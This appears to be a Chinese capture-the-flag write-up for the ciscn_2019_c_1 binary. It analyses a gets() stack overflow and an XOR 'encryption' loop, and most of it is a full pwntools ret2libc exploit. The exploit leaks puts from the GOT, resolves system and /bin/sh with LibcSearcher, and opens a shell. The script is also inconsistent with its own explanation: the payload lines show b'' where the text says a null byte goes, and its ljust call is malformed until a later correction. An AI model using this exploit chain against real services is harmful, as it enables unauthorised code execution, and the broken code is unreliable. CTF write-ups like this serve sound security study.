64位/NX保护
运行起来貌似很有意思,是一个加解密 *** 作
后来发现只能加密不能解密
2. 强大的IDA进行中 1.main函数貌似看不出什么
2.encrypt函数加密具体 *** 作
大小写字母/数字进行异或运算
发现gets()栈溢出
s大小0x50
需要先把加密函数绕过
该函数的功能就是循环对输入的字符串进行加密,在加密前都有一个检查,只要v0的值大于或等于字符串的长度就跳出循环,通过strlen来计算字符串长度的,strlen计算字符串的长度是以’\0’作为终止符,在payload的开头加上’\0’就能绕过加密,这样我们写入的数据不会被改变
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) ) //通过这个if条件判断
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}
接着分析
没有直接给出system和binsh
那么通过libc库泄露其地址,就是常规的ret2libc3
还有一个重要的点这是64位的ret2kibc3,和之前32位的不一样
64位的先是通过寄存器传参rdi、rsi、rdx、rcx、r8、r9
32位的直接堆栈传参
Ropgadget找一下
ROPgadget --binary ./ciscn_2019_c_1 --only "pop|ret"
rdi=0x400c83
ROPgadget --binary ./7ciscn2019c1 --only "ret"
ret=0x4006b9
最后,准备EXPfrom pwn import*
from LibcSearcher import*
p=process('./7ciscn2019c1')
#p=remote("")
elf=ELF("./7ciscn2019c1")
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']
rdi=0x400c83
ret=0x4006b9
#第一次攻击绕过函数
p.sendlineafter('Input your choice!\n','1')
payload=b''+b'a'*(0x50-1+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.recvline() #接收字符串Ciphertext
p.recvline() #加密后的密文
#这里注意需要接收2次
puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'')) #得到 puts 函数 的地址
libc=LibcSearcher('puts',puts_addr) #获取libc的版本
offset=puts_addr-libc.dump('puts') #计算偏移量
binsh=offset+libc.dump('str_bin_sh') #计算字符串"/bin/sh"的地址
system=offset+libc.dump('system') #计算函数system的地址
#第二次攻击getshell
p.sendlineafter('Input your choice!\n','1') # 再一次执行 一遍流程
payload=b''+b'a'*(0x50-1+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.interactive()
一个需要注意的点 :
puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0')) #得到 puts 函数 的地址
python3需要(b'char')发送
否则会报错
ljust() argument 2 must be a byte string of length 1, not str
cat flag
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)